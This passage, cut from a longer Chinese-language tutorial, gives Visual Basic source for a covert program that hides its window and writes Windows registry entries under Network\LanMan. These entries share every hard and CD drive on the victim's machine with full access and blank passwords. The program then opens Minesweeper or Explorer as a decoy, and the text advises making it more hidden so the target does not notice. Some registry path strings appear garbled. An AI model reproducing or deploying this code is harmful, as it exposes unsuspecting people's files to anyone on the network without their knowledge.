;Remark"进行设置,比如,"某某到此一游了!",这样就OK了;
4.如果你还想让程序更隐蔽一点,你可以在程序运行的时候,先执行一个
程序,比如扫雷、空当接龙,或者找开记事本、资源管理器等等。这样,对方就更不容易识破了!
下面讲一下
程序的关键部分
Option Explicit
Dim WinDir As String
Const CommonPath = "SoftWareMicrosoftWindowsCurrentVersionNetworkLanMan"
Private Sub Form_Load()
Me.Hide
Dim buff As String, DriveNo As Integer, Result As Integer, Game
For DriveNo = 0 To 25 注释:遍历所有的26个驱动器
buff = Chr$(65 + DriveNo) + ":" 注释:取驱动器符
Result = GetDriveType(buff) 注释:调用API函数来获得驱动器的类型
If Result = 3 Xor Result = 5 Then
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "contentquot;, "Flags", REG_DWORD, "770", 3 注释:写入共享的类型,这就是
程序的关键所在
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "contentquot;, "Type", REG_DWORD, "0", 0
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "contentquot;, "Path", REG_SZ, buff, 4 注释:写入共享驱动器的路径,就是"C:","D:"等等
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "contentquot;, "Parm2enc", REG_BINARY, 0, 0 注释:写入共享目录的只读访问密码;
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "contentquot;, "Parm1enc", REG_BINARY, 0, 0 注释:写入该共享目录的完全访问密码;;
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "contentquot;, "Remark", REG_SZ, "Remark by scent lily!", 21 注释:写入一些注释信息,比如“香水百合到此一游”
End If
Next DriveNo
GetWinDir 注释:获得windows目录的路径
If Dir(WinDir & "winmine.exe") <> "" Then 注释:如果有扫雷游戏的话就在前台执行它
Game = Shell(WinDir & "WINMINE.EXE", vbMaximizedFocus)
Else
注释:因为扫雷游戏不是必装的,可能有的机器没有安装,但是资源管理器是肯定有的。所以,如果没有扫雷游戏 就启动一个资源管理器
Game = Shell(WinDir & "explorer", vbMaximizedFocus)
End If
Unload Me
End Sub